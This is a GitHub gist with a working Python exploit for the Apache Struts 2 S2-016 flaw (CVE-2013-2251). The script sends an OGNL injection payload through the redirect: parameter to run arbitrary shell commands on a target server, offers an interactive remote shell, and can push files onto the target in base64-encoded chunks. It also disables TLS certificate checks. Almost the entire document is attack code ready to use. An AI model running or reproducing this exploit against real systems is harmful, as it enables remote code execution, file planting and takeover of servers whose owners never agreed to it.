Last active
November 5, 2020 00:41
-
-
Save kost/3794e9356204d247948560178f26076d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# | |
# coding=utf-8 | |
# | |
# Struts 2 DefaultActionMapper Exploit [S2-016] | |
# Interactive Shell for CVE-2013-2251 | |
#''' | |
# improved shell (python3 and proper url encoding) by kost | |
# based on shell by:jonatas fil a.k.a dkr | |
#''' | |
# https://struts.apache.org/docs/s2-016.html | |
# | |
import requests | |
import sys | |
import os | |
import time | |
import urllib.parse | |
import readline | |
import argparse | |
import base64 | |
parser = argparse.ArgumentParser() | |
parser = argparse.ArgumentParser(description="Struts Shell Exploit by dkr and kost") | |
parser.add_argument("-a", "--agent", help="use agent", | |
action="store", | |
default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36") | |
parser.add_argument("-r", "--retry", type=int, help="retry x times", | |
action="store", default=5) | |
parser.add_argument("-b", "--block", type=int, help="use block size of bytes for upload", | |
action="store", default=5000) | |
parser.add_argument("-s", "--sleep", type=float, help="use block size of bytes for upload", | |
action="store", default=0.0) | |
parser.add_argument("-u", "--url", help="use url as target", | |
action="store", default="") | |
parser.add_argument("-p", "--proxy", help="use proxy", | |
action="store") | |
parser.add_argument("-v", "--verbose", help="increase output verbosity", | |
action="count", default=0) | |
args = parser.parse_args() | |
print('''Struts Shell Exploit by dkr and kost''') | |
print('') | |
if args.proxy != '': | |
proxies = {'http':args.proxy,'https':args.proxy} | |
if args.verbose>0: | |
print("[1] Using proxy: "+args.proxy) | |
# Disable SSL | |
requests.packages.urllib3.disable_warnings() | |
# ShellEvil | |
if args.url == '': | |
print("You need to specify URL with --url <url>") | |
sys.exit() | |
target = args.url | |
first = target + "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c',\'" | |
second = "\'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}" | |
def sendreq(cmd): | |
headers = {"User-Agent":args.agent} | |
cmdr=cmd.replace("\'","\\'") | |
cmdr=urllib.parse.quote(cmdr) | |
if args.verbose>1: | |
print("[2] Cmd: "+cmdr) | |
complete=first+cmdr+second | |
if args.verbose>2: | |
print("[3] Cmd URL: "+complete) | |
if args.proxy == '': | |
pwn=requests.get(complete,headers = headers,verify=False) # Disable SSL | |
else: | |
pwn=requests.get(complete,headers = headers,verify=False, proxies = proxies) # Disable SSL | |
return pwn | |
def encodeit(piece): | |
ret=base64.b64encode(piece) | |
return ret | |
def formatstr(num, maxf): | |
retstr=hex(num)[2:] | |
numleft=maxf-len(retstr) | |
numstr='' | |
if numleft > 0: | |
numstr='0'*numleft | |
retfmt=numstr+retstr | |
return retfmt | |
def upload(filename, pathout): | |
bufsize=args.block | |
maxtries=args.retry | |
size=os.stat(filename).st_size | |
blocks=int(size/bufsize)+1 | |
maxnum=hex(blocks)[2:] | |
blocksfmt=len(maxnum) | |
print("[0] Uploading file %s to %s with block of size %d (%d blocks, format %d)" % (filename, pathout, bufsize, blocks, blocksfmt)) | |
in_file = open(filename, "rb") | |
datacnt=0 | |
while True: | |
data = in_file.read(bufsize) | |
if data == "": | |
break | |
if len(data) == 0: | |
break | |
datafmt=formatstr(datacnt, blocksfmt) | |
if args.verbose>0: | |
msgverbose="[1] Uploading block of size %d progress %d of %d (%s)" % (bufsize, datacnt, blocks, datafmt) | |
print(msgverbose) | |
b64enc=encodeit(data) | |
b64=b64enc.decode().replace("\n","") | |
ccmd='echo "'+b64+'" | base64 -d > '+pathout+"."+datafmt | |
datacnt=datacnt+1 | |
if args.verbose>1: | |
print("[2] Cmd: "+ccmd) | |
tries=0 | |
while True: | |
pwn=sendreq(ccmd) | |
if pwn.status_code == 200: | |
break | |
if pwn.status_code != 200: | |
if tries < maxtries: | |
print("[0] Error uploading file %s: Try %d/%d (%s) - Code %d" % (filename, tries+1, maxtries, datafmt, pwn.status_code)) | |
tries = tries + 1 | |
else: | |
print("[0] Error uploading file %s" % (filename)) | |
in_file.close() | |
return | |
if args.sleep>0: | |
if args.verbose>0: | |
print("[1] Sleeping for %f" % (args.sleep)) | |
time.sleep(args.sleep) | |
joinstr="cat %s.* > %s" % (pathout,pathout) | |
if args.verbose>0: | |
print("[1] Finalizing with command %s" % (joinstr)) | |
pwn=sendreq(joinstr) | |
if pwn.status_code != 200: | |
print("[0] Error executing file cmd" % (joinstr)) | |
in_file.close() | |
loopcnt = 1 | |
print("Type \\q to quit, \\upload <src> <dest> to upload file.") | |
while True: | |
try: | |
promptstr = str(loopcnt)+" $ " | |
cmd = input(promptstr) | |
while cmd.strip() == '': | |
cmd = input(promptstr) | |
loopcnt = loopcnt + 1 | |
if cmd.strip().startswith("\\upload"): | |
upstr=cmd.split(" ") | |
if len(upstr)<2: | |
print("\\upload <src> <dest>") | |
else: | |
try: | |
upload(upstr[1],upstr[2]) | |
except Exception as e: | |
print(e) | |
continue | |
if cmd.strip() == '\q': | |
print("Exiting...") | |
sys.exit() | |
except EOFError as e: | |
print("End of input. Exiting") | |
sys.exit() | |
try: | |
pwn = sendreq(cmd) | |
if pwn.status_code == 200: | |
print(pwn.content.decode()) # 1337 | |
else: | |
print("Not Vuln ! Type \\q to quit") | |
except Exception as e: | |
print(e) | |
print("Exiting...") | |
sys.exit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment